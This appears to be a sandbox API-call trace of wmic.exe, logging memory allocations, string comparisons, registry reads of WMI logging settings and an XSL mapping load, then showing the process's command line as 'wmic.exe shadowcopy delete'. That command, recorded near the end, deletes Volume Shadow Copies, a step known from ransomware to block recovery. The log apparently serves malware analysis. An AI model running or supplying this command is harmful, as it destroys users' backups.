[0032.172] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.172] malloc (_Size=0x14) returned 0x386420 [0032.172] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.172] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.172] malloc (_Size=0x14) returned 0x386490 [0032.172] lstrlenW (lpString="XDUWTFONO") returned 9 [0032.172] malloc (_Size=0x8) returned 0x3864b0 [0032.172] malloc (_Size=0x18) returned 0x3864d0 [0032.172] malloc (_Size=0x30) returned 0x3864f0 [0032.172] malloc (_Size=0x18) returned 0x386530 [0032.172] SysStringLen (param_1="IDENTIFY") returned 0x8 [0032.172] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0032.172] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0032.172] SysStringLen (param_1="IDENTIFY") returned 0x8 [0032.172] malloc (_Size=0x30) returned 0x386550 [0032.172] malloc (_Size=0x18) returned 0x386590 [0032.172] SysStringLen (param_1="IMPERSONATE") returned 0xb [0032.172] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0032.172] SysStringLen (param_1="IMPERSONATE") returned 0xb [0032.173] SysStringLen (param_1="IDENTIFY") returned 0x8 [0032.173] SysStringLen (param_1="IDENTIFY") returned 0x8 [0032.173] SysStringLen (param_1="IMPERSONATE") returned 0xb [0032.173] malloc (_Size=0x30) returned 0x3865b0 [0032.173] malloc (_Size=0x18) returned 0x3865f0 [0032.173] SysStringLen (param_1="DELEGATE") returned 0x8 [0032.173] SysStringLen (param_1="IDENTIFY") returned 0x8 [0032.173] SysStringLen (param_1="DELEGATE") returned 0x8 [0032.173] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0032.173] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0032.173] SysStringLen (param_1="DELEGATE") returned 0x8 [0032.173] malloc (_Size=0x30) returned 0x386610 [0032.173] malloc (_Size=0x18) returned 0x386650 [0032.173] malloc (_Size=0x30) returned 0x386670 [0032.173] malloc (_Size=0x18) returned 0x3866b0 [0032.173] SysStringLen (param_1="NONE") returned 0x4 [0032.173] SysStringLen (param_1="DEFAULT") returned 0x7 [0032.173] SysStringLen (param_1="DEFAULT") returned 0x7 [0032.173] SysStringLen (param_1="NONE") returned 0x4 [0032.173] malloc (_Size=0x30) returned 0x3866d0 [0032.173] malloc (_Size=0x18) returned 0x386710 [0032.173] SysStringLen (param_1="CONNECT") returned 0x7 [0032.173] SysStringLen (param_1="DEFAULT") returned 0x7 [0032.173] malloc (_Size=0x30) returned 0x386730 [0032.173] malloc (_Size=0x18) returned 0x386770 [0032.173] SysStringLen (param_1="CALL") returned 0x4 [0032.173] SysStringLen (param_1="DEFAULT") returned 0x7 [0032.174] SysStringLen (param_1="CALL") returned 0x4 [0032.174] SysStringLen (param_1="CONNECT") returned 0x7 [0032.174] malloc (_Size=0x30) returned 0x386790 [0032.174] malloc (_Size=0x18) returned 0x3867d0 [0032.174] SysStringLen (param_1="PKT") returned 0x3 [0032.174] SysStringLen (param_1="DEFAULT") returned 0x7 [0032.174] SysStringLen (param_1="PKT") returned 0x3 [0032.174] SysStringLen (param_1="NONE") returned 0x4 [0032.174] SysStringLen (param_1="NONE") returned 0x4 [0032.174] SysStringLen (param_1="PKT") returned 0x3 [0032.174] malloc (_Size=0x30) returned 0x3867f0 [0032.174] malloc (_Size=0x18) returned 0x386830 [0032.174] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0032.174] SysStringLen (param_1="DEFAULT") returned 0x7 [0032.174] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0032.174] SysStringLen (param_1="NONE") returned 0x4 [0032.174] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0032.174] SysStringLen (param_1="PKT") returned 0x3 [0032.174] SysStringLen (param_1="PKT") returned 0x3 [0032.174] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0032.174] malloc (_Size=0x30) returned 0x388000 [0032.175] malloc (_Size=0x18) returned 0x386c50 [0032.175] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0032.175] SysStringLen (param_1="DEFAULT") returned 0x7 [0032.175] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0032.175] SysStringLen (param_1="PKT") returned 0x3 [0032.175] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0032.175] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0032.175] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0032.175] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0032.175] malloc (_Size=0x30) returned 0x388040 [0032.175] malloc (_Size=0x40) returned 0x386c70 [0032.175] malloc (_Size=0x20a) returned 0x388fd0 [0032.176] GetSystemDirectoryW (in: lpBuffer=0x388fd0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0032.176] free (_Block=0x388fd0) [0032.176] malloc (_Size=0x18) returned 0x386cc0 [0032.176] malloc (_Size=0x18) returned 0x386ce0 [0032.176] malloc (_Size=0x18) returned 0x386d00 [0032.176] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0032.176] SysStringLen (param_1="\\wbem\\") returned 0x6 [0032.176] free (_Block=0x386cc0) [0032.176] free (_Block=0x386ce0) [0032.176] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0032.176] free (_Block=0x386d00) [0032.176] malloc (_Size=0x18) returned 0x386cc0 [0032.176] malloc (_Size=0x18) returned 0x386ce0 [0032.176] malloc (_Size=0x18) returned 0x386d00 [0032.176] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0032.176] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0032.176] free (_Block=0x386cc0) [0032.177] free (_Block=0x386ce0) [0032.177] GetCurrentThreadId () returned 0xb4c [0032.177] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf2e0 | out: phkResult=0x1cf2e0*=0xf8) returned 0x0 [0032.177] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x1cf330, lpcbData=0x1cf2d0*=0x400 | out: lpType=0x0, lpData=0x1cf330*=0x30, lpcbData=0x1cf2d0*=0x4) returned 0x0 [0032.177] _wcsicmp (_String1="0", _String2="1") returned -1 [0032.177] _wcsicmp (_String1="0", _String2="2") returned -2 [0032.177] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1cf2d0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x1cf2d0*=0x42) returned 0x0 [0032.177] malloc (_Size=0x86) returned 0x386d20 [0032.177] RegQueryValueExW (in: hKey=0xf8, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x386d20, lpcbData=0x1cf2d0*=0x42 | out: lpType=0x0, lpData=0x386d20*=0x25, lpcbData=0x1cf2d0*=0x42) returned 0x0 [0032.177] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0032.177] malloc (_Size=0x42) returned 0x386db0 [0032.177] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0032.177] RegQueryValueExW (in: hKey=0xf8, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x1cf330, lpcbData=0x1cf2d0*=0x400 | out: lpType=0x0, lpData=0x1cf330*=0x36, lpcbData=0x1cf2d0*=0xc) returned 0x0 [0032.177] _wtol (_String="65536") returned 65536 [0032.177] free (_Block=0x386d20) [0032.177] RegCloseKey (hKey=0x0) returned 0x6 [0032.177] CoCreateInstance (in: rclsid=0xff9b7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff9b73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1cf7d8 | out: ppv=0x1cf7d8*=0x20a71d0) returned 0x0 [0032.578] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x20a71d0, xmlSource=0x1cf920*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x386cc0), isSuccessful=0x1cf990 | out: isSuccessful=0x1cf990*=0xffff) returned 0x0 [0038.215] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x20a71d0, DOMElement=0x1cf7d0 | out: DOMElement=0x1cf7d0) returned 0x0 [0038.215] malloc (_Size=0x18) returned 0x386cc0 [0038.218] free (_Block=0x386cc0) [0038.219] malloc (_Size=0x18) returned 0x386cc0 [0038.220] free (_Block=0x386cc0) [0038.220] malloc (_Size=0x18) returned 0x386cc0 [0038.220] malloc (_Size=0x18) returned 0x386ce0 [0038.220] malloc (_Size=0x30) returned 0x388080 [0038.220] malloc (_Size=0x18) returned 0x386e00 [0038.220] free (_Block=0x386e00) [0038.220] malloc (_Size=0x18) returned 0x38c270 [0038.220] malloc (_Size=0x18) returned 0x38c290 [0038.220] SysStringLen (param_1="VALUE") returned 0x5 [0038.220] SysStringLen (param_1="TABLE") returned 0x5 [0038.220] SysStringLen (param_1="TABLE") returned 0x5 [0038.221] SysStringLen (param_1="VALUE") returned 0x5 [0038.221] malloc (_Size=0x30) returned 0x3880c0 [0038.221] malloc (_Size=0x18) returned 0x38c2b0 [0038.221] free (_Block=0x38c2b0) [0038.221] malloc (_Size=0x18) returned 0x38c2b0 [0038.221] malloc (_Size=0x18) returned 0x38c2d0 [0038.221] SysStringLen (param_1="LIST") returned 0x4 [0038.221] SysStringLen (param_1="TABLE") returned 0x5 [0038.221] malloc (_Size=0x30) returned 0x388100 [0038.221] malloc (_Size=0x18) returned 0x38c2f0 [0038.221] free (_Block=0x38c2f0) [0038.221] malloc (_Size=0x18) returned 0x38c2f0 [0038.221] malloc (_Size=0x18) returned 0x38c310 [0038.221] SysStringLen (param_1="RAWXML") returned 0x6 [0038.221] SysStringLen (param_1="TABLE") returned 0x5 [0038.222] SysStringLen (param_1="RAWXML") returned 0x6 [0038.222] SysStringLen (param_1="LIST") returned 0x4 [0038.222] SysStringLen (param_1="LIST") returned 0x4 [0038.222] SysStringLen (param_1="RAWXML") returned 0x6 [0038.222] malloc (_Size=0x30) returned 0x388140 [0038.222] malloc (_Size=0x18) returned 0x38c330 [0038.222] free (_Block=0x38c330) [0038.222] malloc (_Size=0x18) returned 0x38c330 [0038.222] malloc (_Size=0x18) returned 0x38c350 [0038.222] SysStringLen (param_1="HTABLE") returned 0x6 [0038.222] SysStringLen (param_1="TABLE") returned 0x5 [0038.222] SysStringLen (param_1="HTABLE") returned 0x6 [0038.222] SysStringLen (param_1="LIST") returned 0x4 [0038.222] malloc (_Size=0x30) returned 0x388180 [0038.222] malloc (_Size=0x18) returned 0x38c370 [0038.222] free (_Block=0x38c370) [0038.222] malloc (_Size=0x18) returned 0x38c370 [0038.223] malloc (_Size=0x18) returned 0x38c390 [0038.223] SysStringLen (param_1="HFORM") returned 0x5 [0038.223] SysStringLen (param_1="TABLE") returned 0x5 [0038.223] SysStringLen (param_1="HFORM") returned 0x5 [0038.223] SysStringLen (param_1="LIST") returned 0x4 [0038.223] SysStringLen (param_1="HFORM") returned 0x5 [0038.223] SysStringLen (param_1="HTABLE") returned 0x6 [0038.223] malloc (_Size=0x30) returned 0x3881c0 [0038.223] malloc (_Size=0x18) returned 0x38c3b0 [0038.223] free (_Block=0x38c3b0) [0038.223] malloc (_Size=0x18) returned 0x38c3b0 [0038.223] malloc (_Size=0x18) returned 0x38c3d0 [0038.223] SysStringLen (param_1="XML") returned 0x3 [0038.223] SysStringLen (param_1="TABLE") returned 0x5 [0038.223] SysStringLen (param_1="XML") returned 0x3 [0038.223] SysStringLen (param_1="VALUE") returned 0x5 [0038.223] SysStringLen (param_1="VALUE") returned 0x5 [0038.223] SysStringLen (param_1="XML") returned 0x3 [0038.223] malloc (_Size=0x30) returned 0x388200 [0038.223] malloc (_Size=0x18) returned 0x38c3f0 [0038.224] free (_Block=0x38c3f0) [0038.224] malloc (_Size=0x18) returned 0x38c3f0 [0038.224] malloc (_Size=0x18) returned 0x38c410 [0038.224] SysStringLen (param_1="MOF") returned 0x3 [0038.224] SysStringLen (param_1="TABLE") returned 0x5 [0038.224] SysStringLen (param_1="MOF") returned 0x3 [0038.224] SysStringLen (param_1="LIST") returned 0x4 [0038.224] SysStringLen (param_1="MOF") returned 0x3 [0038.224] SysStringLen (param_1="RAWXML") returned 0x6 [0038.224] SysStringLen (param_1="LIST") returned 0x4 [0038.224] SysStringLen (param_1="MOF") returned 0x3 [0038.224] malloc (_Size=0x30) returned 0x388240 [0038.224] malloc (_Size=0x18) returned 0x38c430 [0038.224] free (_Block=0x38c430) [0038.224] malloc (_Size=0x18) returned 0x38c430 [0038.224] malloc (_Size=0x18) returned 0x38c450 [0038.224] SysStringLen (param_1="CSV") returned 0x3 [0038.224] SysStringLen (param_1="TABLE") returned 0x5 [0038.224] SysStringLen (param_1="CSV") returned 0x3 [0038.224] SysStringLen (param_1="LIST") returned 0x4 [0038.224] SysStringLen (param_1="CSV") returned 0x3 [0038.224] SysStringLen (param_1="HTABLE") returned 0x6 [0038.224] SysStringLen (param_1="CSV") returned 0x3 [0038.224] SysStringLen (param_1="HFORM") returned 0x5 [0038.225] malloc (_Size=0x30) returned 0x388280 [0038.225] malloc (_Size=0x18) returned 0x38c470 [0038.225] free (_Block=0x38c470) [0038.225] malloc (_Size=0x18) returned 0x38c470 [0038.225] malloc (_Size=0x18) returned 0x38c490 [0038.225] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.225] SysStringLen (param_1="TABLE") returned 0x5 [0038.225] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.225] SysStringLen (param_1="VALUE") returned 0x5 [0038.225] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.225] SysStringLen (param_1="XML") returned 0x3 [0038.225] SysStringLen (param_1="XML") returned 0x3 [0038.225] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.225] malloc (_Size=0x30) returned 0x3882c0 [0038.225] malloc (_Size=0x18) returned 0x38c4b0 [0038.225] free (_Block=0x38c4b0) [0038.225] malloc (_Size=0x18) returned 0x38c4b0 [0038.226] malloc (_Size=0x18) returned 0x38c4d0 [0038.226] SysStringLen (param_1="texttablewsys") returned 0xd [0038.226] SysStringLen (param_1="TABLE") returned 0x5 [0038.226] SysStringLen (param_1="texttablewsys") returned 0xd [0038.226] SysStringLen (param_1="XML") returned 0x3 [0038.226] SysStringLen (param_1="texttablewsys") returned 0xd [0038.226] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.226] SysStringLen (param_1="XML") returned 0x3 [0038.226] SysStringLen (param_1="texttablewsys") returned 0xd [0038.226] malloc (_Size=0x30) returned 0x388300 [0038.226] malloc (_Size=0x18) returned 0x38c4f0 [0038.226] free (_Block=0x38c4f0) [0038.226] malloc (_Size=0x18) returned 0x38c4f0 [0038.226] malloc (_Size=0x18) returned 0x38c510 [0038.226] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.226] SysStringLen (param_1="TABLE") returned 0x5 [0038.226] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.226] SysStringLen (param_1="XML") returned 0x3 [0038.226] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.226] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.226] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.226] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.226] malloc (_Size=0x30) returned 0x388340 [0038.227] malloc (_Size=0x18) returned 0x38c530 [0038.227] free (_Block=0x38c530) [0038.227] malloc (_Size=0x18) returned 0x38c530 [0038.227] malloc (_Size=0x18) returned 0x38c550 [0038.227] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0038.227] SysStringLen (param_1="TABLE") returned 0x5 [0038.227] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0038.227] SysStringLen (param_1="XML") returned 0x3 [0038.227] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0038.227] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.227] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0038.227] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.227] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.227] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0038.227] malloc (_Size=0x30) returned 0x388380 [0038.227] malloc (_Size=0x18) returned 0x38c570 [0038.227] free (_Block=0x38c570) [0038.227] malloc (_Size=0x18) returned 0x38c570 [0038.227] malloc (_Size=0x18) returned 0x38c590 [0038.228] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.228] SysStringLen (param_1="TABLE") returned 0x5 [0038.228] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.228] SysStringLen (param_1="XML") returned 0x3 [0038.228] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.228] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.228] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.228] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.228] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.228] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.228] malloc (_Size=0x30) returned 0x3883c0 [0038.228] malloc (_Size=0x18) returned 0x38c5b0 [0038.228] free (_Block=0x38c5b0) [0038.228] malloc (_Size=0x18) returned 0x38c5b0 [0038.228] malloc (_Size=0x18) returned 0x38c5d0 [0038.229] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0038.229] SysStringLen (param_1="TABLE") returned 0x5 [0038.229] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0038.229] SysStringLen (param_1="XML") returned 0x3 [0038.229] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0038.229] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.229] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0038.229] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.229] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0038.229] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.229] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.229] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0038.229] malloc (_Size=0x30) returned 0x388400 [0038.229] malloc (_Size=0x18) returned 0x38c5f0 [0038.229] free (_Block=0x38c5f0) [0038.229] malloc (_Size=0x18) returned 0x38c5f0 [0038.229] malloc (_Size=0x18) returned 0x38c610 [0038.229] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0038.229] SysStringLen (param_1="TABLE") returned 0x5 [0038.229] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0038.229] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.229] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0038.229] SysStringLen (param_1="XML") returned 0x3 [0038.229] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0038.229] SysStringLen (param_1="texttablewsys") returned 0xd [0038.229] SysStringLen (param_1="XML") returned 0x3 [0038.230] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0038.230] malloc (_Size=0x30) returned 0x388440 [0038.230] malloc (_Size=0x18) returned 0x38c630 [0038.230] free (_Block=0x38c630) [0038.230] malloc (_Size=0x18) returned 0x38c630 [0038.230] malloc (_Size=0x18) returned 0x38c650 [0038.230] SysStringLen (param_1="htable-sortby") returned 0xd [0038.230] SysStringLen (param_1="TABLE") returned 0x5 [0038.230] SysStringLen (param_1="htable-sortby") returned 0xd [0038.230] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.230] SysStringLen (param_1="htable-sortby") returned 0xd [0038.230] SysStringLen (param_1="XML") returned 0x3 [0038.230] SysStringLen (param_1="htable-sortby") returned 0xd [0038.230] SysStringLen (param_1="texttablewsys") returned 0xd [0038.230] SysStringLen (param_1="htable-sortby") returned 0xd [0038.230] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0038.230] SysStringLen (param_1="XML") returned 0x3 [0038.230] SysStringLen (param_1="htable-sortby") returned 0xd [0038.230] malloc (_Size=0x30) returned 0x388480 [0038.230] malloc (_Size=0x18) returned 0x38c670 [0038.231] free (_Block=0x38c670) [0038.231] malloc (_Size=0x18) returned 0x38c670 [0038.231] malloc (_Size=0x18) returned 0x38c690 [0038.231] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0038.231] SysStringLen (param_1="TABLE") returned 0x5 [0038.231] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0038.231] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.231] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0038.231] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.231] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0038.231] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0038.231] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.231] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0038.231] malloc (_Size=0x30) returned 0x3884c0 [0038.231] malloc (_Size=0x18) returned 0x38c6b0 [0038.231] free (_Block=0x38c6b0) [0038.231] malloc (_Size=0x18) returned 0x38c6b0 [0038.231] malloc (_Size=0x18) returned 0x38c6d0 [0038.231] SysStringLen (param_1="wmiclimofformat") returned 0xf [0038.231] SysStringLen (param_1="TABLE") returned 0x5 [0038.231] SysStringLen (param_1="wmiclimofformat") returned 0xf [0038.231] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.231] SysStringLen (param_1="wmiclimofformat") returned 0xf [0038.232] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.232] SysStringLen (param_1="wmiclimofformat") returned 0xf [0038.232] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0038.232] SysStringLen (param_1="wmiclimofformat") returned 0xf [0038.232] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0038.232] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.232] SysStringLen (param_1="wmiclimofformat") returned 0xf [0038.232] malloc (_Size=0x30) returned 0x388500 [0038.232] malloc (_Size=0x18) returned 0x38c6f0 [0038.232] free (_Block=0x38c6f0) [0038.232] malloc (_Size=0x18) returned 0x38c6f0 [0038.232] malloc (_Size=0x18) returned 0x38c710 [0038.232] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0038.232] SysStringLen (param_1="TABLE") returned 0x5 [0038.232] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0038.232] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.232] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0038.232] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.232] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0038.232] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.232] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.232] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0038.232] malloc (_Size=0x30) returned 0x388540 [0038.233] malloc (_Size=0x18) returned 0x38c730 [0038.233] free (_Block=0x38c730) [0038.233] malloc (_Size=0x18) returned 0x38c730 [0038.233] malloc (_Size=0x18) returned 0x38c750 [0038.233] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0038.233] SysStringLen (param_1="TABLE") returned 0x5 [0038.233] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0038.233] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0038.233] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0038.233] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0038.233] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0038.233] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.233] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0038.233] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0038.233] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0038.233] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0038.233] malloc (_Size=0x30) returned 0x388580 [0038.233] FreeThreadedDOMDocument:IUnknown:Release (This=0x20a71d0) returned 0x0 [0038.233] free (_Block=0x386d00) [0038.233] GetCommandLineW () returned="wmic.exe shadowcopy delete" [0038.235] malloc (_Size=0x40) returned 0x386e00 [0038.235] memcpy_s (in: _Destination=0x386e00, _DestinationSize=0x3e, _Source=0x3a25ae, _SourceSize=0x34 | out: _Destination=0x386e00) returned 0x0 [0038.235] malloc (_Size=0x18) returned 0x38c770 [0038.235] malloc (_Size=0x18) returned 0x38c790 [0038.235] malloc (_Size=0x18) returned 0x38c7b0 [0038.235] malloc (_Size=0x18) returned 0x38c7d0 [0038.235] malloc (_Size=0x80) returned 0x386d00 [0038.235] GetLocalTime (in: lpSystemTime=0x1cf970 | out: lpSystemTime=0x1cf970*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x3, wDay=0xc, wHour=0x0, wMinute=0x1, wSecond=0x2d, wMilliseconds=0x272)) [0038.235] _vsnwprintf (in: _Buffer=0x386d00, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x1cf8c8 | out: _Buffer="02-12-2020T00:01:45") returned 19 [0038.235] lstrlenW (lpString=" shadowcopy delete") returned 18 [0038.235] malloc (_Size=0x26) returned 0x38ca40 [0038.235] lstrlenW (lpString=" shadowcopy delete") returned 18 [0038.235] lstrlenW (lpString=" shadowcopy delete") returned 18 [0038.236] malloc (_Size=0x26) returned 0x38ca70 [0038.236] lstrlenW (lpString=" shadowcopy delete") returned 18 [0038.236] lstrlenW (lpString=" shadowcopy delete") returned 18 [0038.236] lstrlenW (lpString=" shadowcopy delete") returned 18 [0038.236] malloc (_Size=0x16) returned 0x38c7f0 [0038.236] lstrlenW (lpString="shadowcopy") returned 10 [0038.236] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0038.236] malloc (_Size=0x16) returned 0x38c810 [0038.236] malloc (_Size=0x8) returned 0x386d90 [0038.236] free (_Block=0x0) [0038.236] free (_Block=0x38c7f0) [0038.236] lstrlenW (lpString=" shadowcopy delete") returned 18 [0038.236] malloc (_Size=0xe) returned 0x38c7f0 [0038.236] lstrlenW (lpString="delete") returned 6 [0038.236] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0038.236] malloc (_Size=0xe) returned 0x38c830 [0038.236] malloc (_Size=0x10) returned 0x38c850 [0038.236] memmove_s (in: _Destination=0x38c850, _DestinationSize=0x8, _Source=0x386d90, _SourceSize=0x8 | out: _Destination=0x38c850) returned 0x0 [0038.236] free (_Block=0x386d90) [0038.236] free (_Block=0x0) [0038.236] free (_Block=0x38c7f0) [0038.236] malloc (_Size=0x10) returned 0x38c7f0 [0038.236] lstrlenW (lpString="QUIT") returned 4 [0038.236] lstrlenW (lpString="shadowcopy") returned 10 [0038.236] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0038.236] lstrlenW (lpString="EXIT") returned 4 [0038.236] lstrlenW (lpString="shadowcopy") returned 10 [0038.236] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0038.236] free (_Block=0x38c7f0) [0038.237] WbemLocator:IUnknown:AddRef (This=0x2e1390) returned 0x2 [0038.237] malloc (_Size=0x10) returned 0x38c7f0 [0038.237] lstrlenW (lpString="/") returned 1 [0038.237] lstrlenW (lpString="shadowcopy") returned 10 [0038.237] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0038.237] lstrlenW (lpString="-") returned 1 [0038.237] lstrlenW (lpString="shadowcopy") returned 10 [0038.237] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0038.237] lstrlenW (lpString="CLASS") returned 5 [0038.237] lstrlenW (lpString="shadowcopy") returned 10 [0038.237] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0038.237] lstrlenW (lpString="PATH") returned 4 [0038.237] lstrlenW (lpString="shadowcopy") returned 10 [0038.237] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0038.237] lstrlenW (lpString="CONTEXT") returned 7 [0038.237] lstrlenW (lpString="shadowcopy") returned 10 [0038.237] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0038.237] 